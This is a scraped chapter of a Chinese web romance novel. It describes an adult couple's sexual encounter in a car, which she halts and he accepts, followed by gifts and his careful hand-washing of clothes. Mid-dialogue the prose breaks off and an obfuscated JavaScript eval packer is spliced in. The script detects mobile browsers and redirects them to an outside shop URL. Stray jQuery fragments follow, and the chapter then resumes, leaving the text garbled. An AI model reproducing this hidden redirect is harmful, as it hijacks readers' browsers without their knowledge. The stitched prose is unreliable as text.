文趣网 > 其他小说 > 每个前任都像你 > 18. [锁]   [此章节已锁]
    赵观缇这才恋恋不舍地暂时放过她,在她额头上轻轻吻了吻。

    庄斐玉坐到他身旁的那堆衣服上,胸口剧烈起伏着,车里的空气太过湿热,她降下车窗,头靠在窗边大口呼吸着。

    待她缓过来,把车窗升上去,但没完全关上,留了一条缝隙。

    她靠着赵观缇,手又不安分地探下去,抬头吻了吻他的下巴,点点头,手从他的西装口袋里掏出最后一个包装袋,眼睛盯着他的唇。

    赵观缇这次没有拒绝,他在她面前,底线就是这样一点一点往下移的,从不同意到勉强到欣然接受。

    他咬起包装袋的一个角,庄斐玉用力一撕,露出里面晶莹剔透的东西。

    “观缇,你想要我做什么呀?”

    她引导着他说出他的欲求,甚至有些渴望赵观缇能有更疯狂一些的举动,不要总是沉默着、矜持着、压抑着。

    他的本能在他心里低声回荡,有一个声音在说出他真实的想法,但是他不知道她会不会那么乖巧配合。她总爱问一些难以回答的问题为难他,又喜欢跟他对着干,他不知道什么时候她是在跟他开玩笑,什么时候是她在表达真实的想法。

    “观缇......”她摇了摇他的胳膊,“你不想继续啦?”

    “不是......”

    他的视线越过她的身体,落到前排座椅之前的扶手箱上,赵观缇拉起她的手,指着扶手箱,说道:“手放在那里。”

    “不要,太羞耻了……”

    “又不是没这样过......”

    “我那么久没见你了,害羞嘛,总要有时间适应一下,都怪你,每次出差都这么久......”

    “好,怪我,”赵观缇吻着她的肩膀,“听话,满足一下我好吗?”

    几乎是哀求了。但庄斐玉不想让他哀求她,她好想他能在她默许的边界里强迫她。

    “哎呀,你能不能强势一点!”庄斐玉的手按在他的心口,把他抵在椅背上。

    强势?赵观缇一怔,问她:“你觉得我是个强势的人吗?”

    他在她面前,向来是没有脾气的,庄斐玉心知肚明。她喜欢他由着她的性子,任她作威作福的样子,但是她希望他在做//爱的时候,可以在她的默许下,言语上不这么温柔,更不能求她。

    赵观缇骨子里是个很强势的人,原则性很强,坚守底线,只不过从容翩然的态度让人如沐春风,在外人看来,这种只对谈判对手可见的强势和压迫感,充满着成熟的魅力和张力。

    她好希望,他能把给对手的压迫感,在这种时候,分给她一点。

    “你平时跟你的下属也是这样说话的吗?”

    “我很尊重我的同事。”

    庄斐玉:“......”

    赵观缇什么都不懂,好没有情趣,可是,总不能每一步都让她来教他吧?这样□□还有什么意思?还不如自己解决......

    “你就不能命令我吗?”庄斐玉对着他吼。

    赵观缇还是僵在座位上,没有动作,庄斐玉觉得好无奈,也不是那么有兴致了。

    但下一秒,赵观缇握着她的腰,猝不及防地抓住她的手,带着她的身体塌下去,十指交叠着穿过前座之间的空间,按在扶手箱上。

    那些强势的言语赵观缇真的说不出口,但是他可以只做不说。

    他抽出手,用她渴望的强势填满着她的心。

    她纤细的腰卡在座椅中间,她抬头,便看到车窗朦胧地映着赵观缇挺拔的身姿,目眩神迷之中,她对着那个朦胧的身影说:“观缇......夸我......”

    赵观缇顿了顿:“斐玉,你好......”

    热烈,明媚,洒脱,可爱......那么多形容词,赵观缇一个都说不出口,语塞得像是交代遗言的林黛玉。

    哪怕只是夸一句她好美呢!

    ......

    他只能用行动来表达他的心。

    情欲瓦解了他的理性,他现在只想凭着本能做事,想要以一种更疯狂的姿态占据她的身体和意识!

    手机铃声却在这个时候响了起来,赵观缇不喜欢被打扰。

    “不是说好要开飞行模式吗?”

    庄斐玉喜欢他的强势,但是铃声在催促她停下来。这是她今天早上起床后看到赵观缇要提前回来的消息后,特地定的闹铃。

    明天要早起去拍摄电影《眼泪》的定妆照,她今天必须十一点准时睡觉,明天要以最好的状态迎接工作,绝对不可以耽于男色。

    这十点的闹铃是在提醒她,必须要准备洗漱睡觉了。

    “不是电话......是......闹铃......”

    她伸手去够座椅上的手机。

    “停下来,停下来!”庄斐玉很少会用着这样严肃的

    她扭动着身体,是真的在拒绝他。赵观缇深知自己不是个情感感知特别敏锐的人,但是他能精准分辨出庄斐玉的反抗是在引诱他还是在拒绝他。

    只想她是怎么做到上一秒还在嘤嘤唧唧地享受,下一秒就能如此理性地抽身出来?

    他停下来,坐在座椅上。庄斐玉抓过手机,把闹钟关上,靠在他的怀里沉重地呼吸。

    “观缇,今天不能做了,我明天要拍摄,我得早睡。”

    庄斐玉看了一眼他还没有得到满足的身体,语气却像是在哄骗小孩:“要不,我用手帮你迅速解决?”

    “不用。”赵观缇拒绝得坚决。

    庄斐玉本来也没真打算用手帮他,这多累啊,也不够享受。

    “哦。对哦,你自己有手,你的手还比我的好看!”庄斐玉假意讨好。

    她拎起他的手,放在唇边亲了亲。

    赵观缇抽出手,她的气息呼在他的手上,让他好想继续,但她既然喊停了,他不能再勉强。

    他闭上眼睛,靠在座椅上,平复着欲望。

    “不开心了?”庄斐玉看他闷闷的。

    “没有。”虽然不满足,但她在他身边,他怎么会不开心。

    怕她误会,也想转移一下注意力,赵观缇拿起座椅上的礼品盒。

    “这是我送你的礼物。”赵观缇说,“拆开看看?”

    “你在这种时候送礼物,很像交易啊。”庄斐玉笑着想活跃气氛,但赵观缇没笑。

    她打开两个礼盒,一个里看是一枚镶嵌着红宝石的玉兰花胸针,另一个里面是一条温柔的奶油白围巾,羊绒和真丝的材质又糯又滑,她拿起围巾在赵观缇脸上蹭了蹭。

    “好舒服的围巾。”

    赵观缇不想让她知道他花了太多心思,说到:“在机场免税店顺便买的。”

    “哦,买避孕套的时候买的呗。”

    赵观缇:“......”

    “哈哈哈,我开玩笑的。”庄斐玉自己笑得开心,她又拿起包装盒仔细看着:“哎?日内瓦的机场免税店里有这两个牌子吗?”

    想她一时半会也验证不了,真要去日内瓦的时候,可能也忘记他送过这两件礼物了,赵观缇谎称:“新开的。”

    庄斐玉没再多问。

    礼尚往来,她从口袋里掏出赵观缇在机场的时候送给她的信用卡。

    “这是给你的礼物。”

    赵观缇笑了。

    羊毛出在羊身上,羊还美滋滋。

    两人回到家,庄斐玉从衣柜里拿出她秋冬最喜欢穿的燕麦色大衣披在身上,又把赵观缇送的围巾随意地绕在脖子上,顾不上照镜子,就回到客厅里,站在赵观缇面前转了个圈。

    “你送的围巾跟这件大衣是不是很搭?”

    “嗯,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662240|207013||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你穿也很合适。”赵观缇从盒子里拿出玉兰花胸针,给她别到垂在胸前的围巾上。

    她现在的样子,跟他买下这两件礼物的时候,想象中她穿戴的样子一模一样。

    “那我过阵子降温就这样穿!”庄斐玉把衣服脱下来,又把围巾绕在上面,一起放回了衣柜里。

    “我去洗澡了,明天还要早起呢。”

    庄斐玉洗完澡,用毛巾裹住湿漉漉的头发,走到卧室的时候,发现已经换上了新的床上四件套。

    赵观缇每次都这样,出差回来第一件事,就是换床单被罩,第二件事,则是......

    庄斐玉走到客厅,看到阳台上的洗衣机转着,客厅洗手间的门则是半掩着,她推开门,就看到赵观缇在手洗那件被她弄湿的西装外套,他那块亮闪闪的表被他摘下来放在一旁的柜子顶上。

    果然,第二件事是洗衣服。

    庄斐玉靠在门框上,看着他那双漂亮的手轻轻揉搓着衣服,手腕上都沾着泡沫。这多伤手啊!

    “用洗衣机洗不行吗?”

    “不行,羊毛真丝混纺的衣服要用专门的洗涤剂,轻柔手洗。”赵观缇说着,拂去手上的泡沫,又换了一盆清水,冲干净衣服上的洗涤液,又把西装在洗衣台上展平,用手挤干里面的水。

    赵观缇:“也不能甩干,而是要轻轻挤干里面的水,平放着晾干,不然衣服就会缩水。”

    庄斐玉无法形容她第一次看到赵观缇这样细致讲究地洗衣服的时候,有多震撼。不知道是该对他亲自洗衣服这件事感到震撼,还是不敢相信这个世界上除了洗衣店的员工,还有人能在家这样洗衣服。

    赵观缇对待做家务这件事,就像是对待工作一样,必须亲力亲为,必须顾及到所有的细节。

    哪怕庄斐玉已经跟他一起住了五年了,每次看到他洗衣服,还是会觉得很不可思议。

    她跟着赵观缇走到阳台上,看着他把这件西装晾上。

    “你还有没有要洗的衣服?”赵观缇转身问她。

    “怎么,洗衣服这么上瘾吗?”

    “不上瘾,但很减压。”

    赵观缇说过,做家务,是他从小到大释放压力的一种方式,洗衣服、洗碗、换床单被罩、打扫卫生,他都喜欢做。哪怕工作再忙,也绝对不请阿姨,他总能抽出时间自己做。

    “你压力很大吗?”

    赵观缇叹了声气,难得幽默了一回:“身心压力都大。”

    庄斐玉前阵子就听他说,他的公司准备在科创板上市,最近因为贸易战,芯片行业风浪又大,他心理压力大她能理解,身体压力的话......庄斐玉的视线落在他凸起的裤子上。

    好吧,看起来压力确实很大。

    他事业上的压力她没办法帮他分担,身体上的压力,她也帮不了,算了,还是多给他找两件衣服洗洗吧。

    “你要是想洗的话,我今天穿的你那件衬衣你也一起洗一下吧。我去拿。”

    庄斐玉刚要走出去,赵观缇却突然拉住她的手。

    “怎么?”

    他把她往怀里一带。

    “让我抱一下。”

    “不行,今天不能再做了。”庄斐玉在他怀里动了动。

    “不做,只是抱一下。”他把头埋在她的颈窝,紧紧抱着她。但也没有进一步的动作,手只是轻轻贴着她的背。

    坚硬抵住她的腹部,庄斐玉隔着衣服都觉得有些发烫。

    不行!庄斐玉松开他,再抱下去她就要忍不住了。

    “我要去睡了。”庄斐玉说。

    赵观缇放开她。

    “观缇,晚安呀。”

    “晚安。明天我送你去拍摄吧。”

    “你不用上班?”

    “休息一天。”赵观缇决定临时给自己放一天假。